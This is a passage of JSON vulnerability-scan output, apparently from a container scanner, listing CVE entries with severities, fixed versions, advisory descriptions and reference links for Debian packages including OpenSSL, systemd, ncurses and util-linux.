"https://errata.almalinux.org/9/ALSA-2026-44438.html", "https://errata.rockylinux.org/RLSA-2026:25239", "https://github.com/advisories/GHSA-f684-cpcq-j565", "https://github.com/openssl/openssl/commit/3aad5eb7af4de4ee0633c30a8541a54d9bbde63c", "https://github.com/openssl/openssl/commit/7d4a980c62258c5910cc883936e0c8dbab4d75a8", "https://github.com/openssl/openssl/commit/9dfd688ad2290fc5075cacbc9bf0c9a93eefed54", "https://github.com/openssl/openssl/commit/a541ae8bfe849a30cc885e8780715c0f488e496c", "https://github.com/openssl/openssl/commit/c505d7559da5d5f9f2c3913c6883a5562ce7273e", "https://github.com/openssl/security/commit/3aad5eb7af4de4ee0633c30a8541a54d9bbde63c", "https://github.com/openssl/security/commit/7d4a980c62258c5910cc883936e0c8dbab4d75a8", "https://github.com/openssl/security/commit/9dfd688ad2290fc5075cacbc9bf0c9a93eefed54", "https://github.com/openssl/security/commit/a541ae8bfe849a30cc885e8780715c0f488e496c", "https://github.com/openssl/security/commit/c505d7559da5d5f9f2c3913c6883a5562ce7273e", "https://linux.oracle.com/cve/CVE-2026-45447.html", "https://linux.oracle.com/errata/ELSA-2026-50379.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-45447", "https://openssl-library.org/news/secadv/20260609.txt", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-45447.json", "https://ubuntu.com/security/notices/USN-8414-1", "https://ubuntu.com/security/notices/USN-8414-2", "https://www.cve.org/CVERecord?id=CVE-2026-45447" ], "PublishedDate": "2026-06-09T17:17:19.277Z", "LastModifiedDate": "2026-09-18T13:18:26.343Z" }, { "VulnerabilityID": "CVE-2026-84782", "VendorIDs": [ "DSA-6531-1" ], "PkgID": "libssl3t64@3.5.4-1~deb13u2", "PkgName": "libssl3t64", "PkgIdentifier": { "PURL": "pkg:deb/debian/libssl3t64@3.5.4-1~deb13u2?arch=amd64\u0026distro=debian-13.3", "UID": "5ef7959060b07a4b" }, "InstalledVersion": "3.5.4-1~deb13u2", "FixedVersion": "3.5.7-1~deb13u3", "Status": "fixed", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-84782", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:758a5386c8473aa6971de08acfca65090739f2a517e45756798c8b51f54109b3", "Title": "openssl: compat-openssl: openssl: Information disclosure via DTLS handshake retransmission", "Description": "Issue summary: The DTLS retransmission logic does not correctly handle\na handshake message write that is suspended part-way through.\nThe retransmitted message can be read past the message buffer and\nthe retransmission overwrites the internal state the suspended write\nneeds to resume correctly.\n\nImpact summary: The retransmitted message can disclose a heap memory\nto the peer as plaintext handshake data or cause a crash and a Denial\nof Service when the read reaches an unmapped memory region.\n\nCWE: CWE-125: Out-of-bounds Read\n\nDescription: DTLS handshake messages can be written out in multiple\nfragments, and a write can suspend mid-message (returning WANT_WRITE)\nif the underlying transport temporarily cannot accept more data. While\nsuch a write is suspended, the DTLS retransmission timer may\nindependently fire and ask the retransmission logic to resend an\nearlier, already-acknowledged-as-sent message from its retransmit\nqueue.\n\nThe retransmission logic reused the same internal buffer and position\ntracking as the message that was still being written, without\nresetting the position back to the start of the message being\nretransmitted. As a result the retransmission was read starting from\nwherever the suspended write had left off, producing a mislabelled\nmessage whose body was leftover bytes from the other, larger message\nstill in flight - content that was never meant to be sent at that\npoint, and which could run past the end of the allocated buffer.\n\nSeparately, even when the retransmission is positioned correctly,\nallowing it to run to completion while another write is suspended\noverwrites the same shared bookkeeping that the suspended write\ndepends on to resume. When the application later resumes the\nsuspended write (via a subsequent SSL_read(), SSL_write(),\nSSL_accept(), or SSL_connect() call), it finds that bookkeeping in a\nstate inconsistent with the message and aborts the process in\na debugging build.\n\nThe fix resets the retransmission's read position to the start of the\nmessage before resending, and skips retransmission entirely whenever a\nhandshake write is still suspended, deferring to the next call that\nresumes it instead.\n\nFIPS impact: no\nThe affected code is outside the FIPS module boundary.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "alma": 2, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.4 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:77396", "https://access.redhat.com/errata/RHSA-2026:80514", "https://access.redhat.com/security/cve/CVE-2026-84782", "https://bugzilla.redhat.com/2517560", "https://bugzilla.redhat.com/2537080", "https://bugzilla.redhat.com/show_bug.cgi?id=2537080", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-84782", "https://errata.almalinux.org/9/ALSA-2026-80514.html", "https://errata.rockylinux.org/RLSA-2026:77396", "https://github.com/openssl/openssl/commit/906cf0ef1c85ca40ce69163e9086d6d3fe292943", "https://github.com/openssl/openssl/commit/9f6b34422af7eb5dac61322e33dac1ae989fa628", "https://github.com/openssl/openssl/commit/a383dafdd754eb5b22bf45e37e1bff9d07277a58", "https://github.com/openssl/openssl/commit/d951e02ede8f6a6ff8150546db44b34f0518192c", "https://linux.oracle.com/cve/CVE-2026-84782.html", "https://linux.oracle.com/errata/ELSA-2026-85968.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-84782", "https://openssl-library.org/news/secadv/20260929.txt", "https://openssl-library.org/news/vulnerabilities/#CVE-2026-84782", "https://ubuntu.com/security/notices/USN-8847-1", "https://ubuntu.com/security/notices/USN-8847-2", "https://www.cve.org/CVERecord?id=CVE-2026-84782" ], "PublishedDate": "2026-09-29T16:17:12.5Z", "LastModifiedDate": "2026-10-08T01:20:56.003Z" }, { "VulnerabilityID": "CVE-2026-16742", "PkgID": "libsystemd0@257.9-1~deb13u1", "PkgName": "libsystemd0", "PkgIdentifier": { "PURL": "pkg:deb/debian/libsystemd0@257.9-1~deb13u1?arch=amd64\u0026distro=debian-13.3", "UID": "7d87e4f410601b6a" }, "InstalledVersion": "257.9-1~deb13u1", "Status": "affected", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-16742", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:dc6dc5e2e715e05be0786997b7875b506f7b30e0a568ce1d4d98f72287ce6e6a", "Title": "systemd: systemd-homed: Local privilege escalation via missing home-record signature verification", "Description": "systemd-homed contains a local privilege escalation bug via arbitrary system group addition to a local, logged in, homed-managed user", "Severity": "HIGH", "CweIDs": [ "CWE-269", "CWE-347" ], "VendorSeverity": { "amazon": 3, "azure": 2, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-16742", "https://github.com/systemd/systemd/security/advisories/GHSA-jm29-p7hh-vjhv", "https://nvd.nist.gov/vuln/detail/CVE-2026-16742", "https://ubuntu.com/security/notices/USN-8626-1", "https://www.cve.org/CVERecord?id=CVE-2026-16742" ], "PublishedDate": "2026-08-10T14:17:21.277Z", "LastModifiedDate": "2026-10-23T20:10:00.16Z" }, { "VulnerabilityID": "CVE-2025-69720", "PkgID": "libtinfo6@6.5+20250216-2", "PkgName": "libtinfo6", "PkgIdentifier": { "PURL": "pkg:deb/debian/libtinfo6@6.5%2B20250216-2?arch=amd64\u0026distro=debian-13.3", "UID": "5286a1335bb605c5" }, "InstalledVersion": "6.5+20250216-2", "Status": "affected", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-69720", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:954498c88f64858b984879cacb4edd775ae736fa20e873eb5d1144bf70fb0bb8", "Title": "ncurses: ncurses: Buffer overflow vulnerability may lead to arbitrary code execution.", "Description": "The infocmp command-line tool in ncurses before 6.5-20251213 has a stack-based buffer overflow in analyze_string in progs/infocmp.c.", "Severity": "HIGH", "CweIDs": [ "CWE-121", "CWE-120" ], "VendorSeverity": { "alma": 2, "azure": 4, "cbl-mariner": 4, "julia": 3, "nvd": 3, "oracle-oval": 2, "photon": 3, "redhat": 2, "rocky": 2, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:5913", "https://access.redhat.com/security/cve/CVE-2025-69720", "https://bugzilla.redhat.com/2449037", "https://bugzilla.redhat.com/show_bug.cgi?id=2449037", "https://cert-portal.siemens.com/productcert/html/ssa-253495.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-69720", "https://errata.almalinux.org/10/ALSA-2026-5913.html", "https://errata.rockylinux.org/RLSA-2026:5913", "https://github.com/Cao-Wuhui/CVE-2025-69720", "https://github.com/advisories/GHSA-9952-mrqj-h4jh", "https://invisible-island.net/archives/ncurses/6.5", "https://invisible-island.net/archives/ncurses/6.5/", "https://invisible-island.net/ncurses", "https://invisible-island.net/ncurses/", "https://linux.oracle.com/cve/CVE-2025-69720.html", "https://linux.oracle.com/errata/ELSA-2026-5913.html", "https://marc.info/?l=ncurses-bug\u0026m=176539968328570\u0026w=2", "https://marc.info/?l=ncurses-bug\u0026m=176540731801330\u0026w=2", "https://marc.info/?l=ncurses-bug\u0026m=176545557728083\u0026w=2", "https://nvd.nist.gov/vuln/detail/CVE-2025-69720", "https://ubuntu.com/security/notices/USN-8503-1", "https://www.cve.org/CVERecord?id=CVE-2025-69720" ], "PublishedDate": "2026-03-19T15:16:21.293Z", "LastModifiedDate": "2026-06-17T10:00:50.423Z" }, { "VulnerabilityID": "CVE-2026-16742", "PkgID": "libudev1@257.9-1~deb13u1", "PkgName": "libudev1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libudev1@257.9-1~deb13u1?arch=amd64\u0026distro=debian-13.3", "UID": "a19b6d5345532ec2" }, "InstalledVersion": "257.9-1~deb13u1", "Status": "affected", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-16742", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:7ab0a47ac2fb5ce1d451e13410a1384f3566dac6e45aa2187317e635c77fe6cc", "Title": "systemd: systemd-homed: Local privilege escalation via missing home-record signature verification", "Description": "systemd-homed contains a local privilege escalation bug via arbitrary system group addition to a local, logged in, homed-managed user", "Severity": "HIGH", "CweIDs": [ "CWE-269", "CWE-347" ], "VendorSeverity": { "amazon": 3, "azure": 2, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-16742", "https://github.com/systemd/systemd/security/advisories/GHSA-jm29-p7hh-vjhv", "https://nvd.nist.gov/vuln/detail/CVE-2026-16742", "https://ubuntu.com/security/notices/USN-8626-1", "https://www.cve.org/CVERecord?id=CVE-2026-16742" ], "PublishedDate": "2026-08-10T14:17:21.277Z", "LastModifiedDate": "2026-10-23T20:10:00.16Z" }, { "VulnerabilityID": "CVE-2026-53612", "VendorIDs": [ "DSA-6442-1" ], "PkgID": "libuuid1@2.41-5", "PkgName": "libuuid1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libuuid1@2.41-5?arch=amd64\u0026distro=debian-13.3", "UID": "4a57eaeae20e47" }, "InstalledVersion": "2.41-5", "FixedVersion": "2.41.5-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53612", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:11b29fbe5e17ec4fec3ee8ae327f3b0283eb01faa1b1a60907719f07aadb40d5", "Title": "util-linux: util-linux: TOCTOU in the mount program when applying post-mount ownership/mode changes", "Description": "util-linux is a random collection of Linux utilities. In util-linux 2.39 through 2.41.4 and 2.42 through 2.42.1, the SUID `mount` utility's `hook_owner.c` post-mount hook performs path-based `chmod()` and `lchown()` operations on a previously validated mount target. A local low-privileged user authorized by an `/etc/fstab` entry with `user` or `users` and an `X-mount.mode`, `X-mount.owner`, or `X-mount.group` option can use `renameat2(RENAME_EXCHANGE)` to race a writable ancestor of the target and redirect the privileged ownership or mode change to a root-owned path, potentially gaining root privileges. This issue is fixed in 2.41.5 and 2.42.2.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53612", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/24da33905c7115c4cbccd0afb2a469804e96467a", "https://github.com/util-linux/util-linux/commit/722c96974dd4009a334e4aee556eedaab5fb94b4", "https://github.com/util-linux/util-linux/commit/897a08c2b11dfa66975c3d24d63c7bf5f5be1a7c", "https://github.com/util-linux/util-linux/commit/d0c5adaeb3a3d823aba1377794de8f009b8152cc", "https://github.com/util-linux/util-linux/releases/tag/v2.41.5", "https://github.com/util-linux/util-linux/releases/tag/v2.42.2", "https://github.com/util-linux/util-linux/security/advisories/GHSA-g8wm-75wr-g2vh", "https://linux.oracle.com/cve/CVE-2026-53612.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53612", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53612" ], "PublishedDate": "2026-10-14T15:17:20.26Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-53613", "VendorIDs": [ "DSA-6442-1" ], "PkgID": "libuuid1@2.41-5", "PkgName": "libuuid1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libuuid1@2.41-5?arch=amd64\u0026distro=debian-13.3", "UID": "4a57eaeae20e47" }, "InstalledVersion": "2.41-5", "FixedVersion": "2.41.5-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53613", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:1940e4a89147b96e30a70a027d725da3fe713ede4630036b3a52a2eacfc57a9b", "Title": "util-linux: TOCTOU in the mount program via ancestor directory swap on target path", "Description": "util-linux is a random collection of Linux utilities. In util-linux 2.17 through 2.41.6 and 2.42 through 2.42.3, and in 2.42.4 when the legacy `mount(2)` path is used without `/proc`, restricted non-root `mount` requests validate an `/etc/fstab` target before the mount operation re-resolves that pathname. A local low-privileged user authorized by an fstab `user` or `users` entry whose target has an attacker-writable ancestor can use `renameat2(RENAME_EXCHANGE)` to swap a path component and redirect an authorized mount to a root-owned location, such as mounting attacker-controlled content over `/etc/sudoers.d`, and thereby gain root privileges. Versions 2.41.5 and 2.42.2 pin targets for the new mount API, and 2.42.4 pins legacy targets through `/proc/self/fd`; the documented legacy fallback without `/proc` remains affected.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53613", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/0b010025a0e429bc80355c94db86a843395d49e2", "https://github.com/util-linux/util-linux/commit/0d3d55975aa3492c62fd345eac38f41cd166c0b0", "https://github.com/util-linux/util-linux/commit/2c773f336134acf016e639abb6f12ba7341fe4b8", "https://github.com/util-linux/util-linux/commit/39fef62bf3226abb6bb018fa8750afa0327e84b4", "https://github.com/util-linux/util-linux/commit/472cc3fb2d4d47cca7aab2e0b59eb3fb8a9359ec", "https://github.com/util-linux/util-linux/commit/646fb66603d10a7ac337e14f566f1af48e3107c9", "https://github.com/util-linux/util-linux/commit/708d1b3c51932dc5ba8082c7368187715e6a8d78", "https://github.com/util-linux/util-linux/commit/78a860982e036f38fe9c0b3344998df5ac2c2ff5", "https://github.com/util-linux/util-linux/commit/85d16b341f7232c9dbb4884b632e1e956584bee9", "https://github.com/util-linux/util-linux/commit/a9508d216eb8977979102782672e0470cc9bf2a2", "https://github.com/util-linux/util-linux/releases/tag/v2.41.5", "https://github.com/util-linux/util-linux/releases/tag/v2.42.2", "https://github.com/util-linux/util-linux/releases/tag/v2.42.4", "https://github.com/util-linux/util-linux/security/advisories/GHSA-8gj5-72r3-428g", "https://linux.oracle.com/cve/CVE-2026-53613.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53613", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53613" ], "PublishedDate": "2026-10-14T15:17:20.41Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-53614", "VendorIDs": [ "DSA-6442-1" ], "PkgID": "libuuid1@2.41-5", "PkgName": "libuuid1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libuuid1@2.41-5?arch=amd64\u0026distro=debian-13.3", "UID": "4a57eaeae20e47" }, "InstalledVersion": "2.41-5", "FixedVersion": "2.41.5-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53614", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:94c0837e5ba7b6d4c02a7fe6709cc95fb0fe8e4828dcbc948b8446e0458660a6", "Title": "util-linux: util-linux: SUID mount(8) allows nosuid/noexec bypass via LIBMOUNT_FORCE_MOUNT2", "Description": "util-linux is a random collection of Linux utilities. In util-linux 2.39.1 through 2.41.4 and 2.42 through 2.42.1, the SUID `mount` utility reads the attacker-controlled `LIBMOUNT_FORCE_MOUNT2` environment variable with `getenv()`, allowing a local low-privileged\nuser to force the non-atomic legacy bind-mount path. With an `/etc/fstab` bind mount authorized by `user` or `users` and protected by `nosuid`, `noexec`, or `nodev`, an attacker can race the window between the initial bind mount and the remount that applies those security flags and execute a SUID program from the temporarily unprotected mount, potentially gaining root privileges. This issue is fixed in 2.41.5 and 2.42.2.", "Severity": "HIGH", "CweIDs": [ "CWE-269", "CWE-807" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53614", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/31e37c1c7dcf25b76ccf41391fe934a75644c661", "https://github.com/util-linux/util-linux/commit/53ff0fcdab12d69c60c971c69a3d0d173fa46ca9", "https://github.com/util-linux/util-linux/commit/9cbfb823500f510b34767edabd3ffd5b436987b4", "https://github.com/util-linux/util-linux/commit/cc81bbcec598cb91f0eb8456282f33eed820ed5f", "https://github.com/util-linux/util-linux/commit/fd6b4d94ff013dc7ed680d4e864610da5b9751f1", "https://github.com/util-linux/util-linux/releases/tag/v2.41.5", "https://github.com/util-linux/util-linux/releases/tag/v2.42.2", "https://github.com/util-linux/util-linux/security/advisories/GHSA-67r7-8m5w-22wx", "https://linux.oracle.com/cve/CVE-2026-53614.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53614", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53614" ], "PublishedDate": "2026-10-14T16:17:45.93Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-53615", "PkgID": "libuuid1@2.41-5", "PkgName": "libuuid1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libuuid1@2.41-5?arch=amd64\u0026distro=debian-13.3", "UID": "4a57eaeae20e47" }, "InstalledVersion": "2.41-5", "FixedVersion": "2.41.5-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53615", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d443b5f850fba4df604c0bd7fc1052cec2bd881fdf9f011075ac2f51457248a8", "Title": "util-linux: util-linux: Partition metadata compromise via integer overflow in DOS partition parser", "Description": "util-linux is a random collection of Linux utilities. Before util-linux 2.41.4, `parse_dos_extended()` in `libblkid/src/partitions/dos.c` computes an extended-partition start sector with 32-bit addition and does not apply the extended-area bounds checks to the first two EBR entries. A local attacker who causes a crafted DOS extended-partition disk image or removable medium to be probed can wrap `cur_start + start` to sector zero and cause libblkid to report a false partition overlapping the MBR. This directly compromises the integrity of the reported partition metadata; disk modification or availability loss requires a separate downstream consumer to act on that metadata. This issue is fixed in 2.41.4.", "Severity": "HIGH", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H", "V3Score": 8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53615", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", 